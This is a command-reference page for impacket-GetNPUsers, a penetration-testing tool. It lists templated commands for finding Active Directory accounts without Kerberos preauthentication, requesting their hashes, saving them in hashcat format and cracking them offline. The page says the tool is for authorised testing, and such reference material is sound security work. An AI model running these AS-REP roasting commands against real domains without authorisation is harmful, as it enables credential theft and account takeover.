LinuxCommandLibrary
GitHubF-DroidGoogle Play Store

impacket-getnpusers

finds Active Directory users with "Do not require Kerberos preauthentication"

TLDR

Find AS-REP roastable users from a users file
$ impacket-GetNPUsers [domain]/ -dc-ip [dc-ip] -usersfile [users.txt]
copy
Get hash for specific user without credentials
$ impacket-GetNPUsers [domain]/[user] -dc-ip [dc-ip] -no-pass
copy
Request hashes in hashcat format and save to file
$ impacket-GetNPUsers [domain]/ -dc-ip [dc-ip] -usersfile [users.txt] -format hashcat -outputfile [hashes.txt]
copy
Enumerate via LDAP with credentials
$ impacket-GetNPUsers [domain]/[user]:[password] -dc-ip [dc-ip] -request
copy
Use Kerberos authentication from ccache
$ impacket-GetNPUsers [domain]/[user] -dc-ip [dc-ip] -k -no-pass
copy

SYNOPSIS

impacket-GetNPUsers [options] target

DESCRIPTION

impacket-GetNPUsers lists and requests TGTs for Active Directory users with "Do not require Kerberos preauthentication" set (UFDONTREQUIRE_PREAUTH). This enables AS-REP Roasting: the retrieved hashes can be cracked offline with hashcat or John the Ripper.Without -usersfile, the script queries LDAP to automatically enumerate vulnerable accounts (requires valid credentials). With -usersfile, it tests each username without needing domain credentials. Part of the Impacket toolkit. For authorized security testing only.

PARAMETERS

-dc-ip ip

Domain controller IP address.
-usersfile file
File with usernames to test (one per line).
-no-pass
Don't ask for password (useful with -k or anonymous queries).
-request
Request TGT hashes for vulnerable users (default: only list them).
-format type
Hash output format: hashcat or john (default: hashcat).
-outputfile file
Save hashes to file instead of stdout.
-k
Use Kerberos authentication from ccache (KRB5CCNAME).
-hashes LMHASH:NTHASH
Authenticate using NTLM hashes instead of password.
-aesKey KEY
AES key to use for Kerberos authentication.
-ts
Add timestamp to logging output.
-debug
Turn on debug output.

INSTALL

sudo pacman -S impacket
copy

SEE ALSO

Braincup
Open source brain training for math, memory and focus
Braincup mini-games
41 mini-games · Apache-2.0
No ads · No tracking
Play in browser
Download Braincup on the App StoreGet Braincup on Google PlayGet Braincup on F-Droid
276 stars
From the maker of Linux Command Library
Copied to clipboard
Braincup
Open source brain training for math, memory and focus. 41 mini-games, from mental arithmetic to Sudoku, N-Back and Solo Chess.
Apache-2.0 licensed · No ads · No tracking · No account
From the maker of Linux Command Library
Download Braincup on the App StoreGet Braincup on Google PlayGet Braincup on F-Droid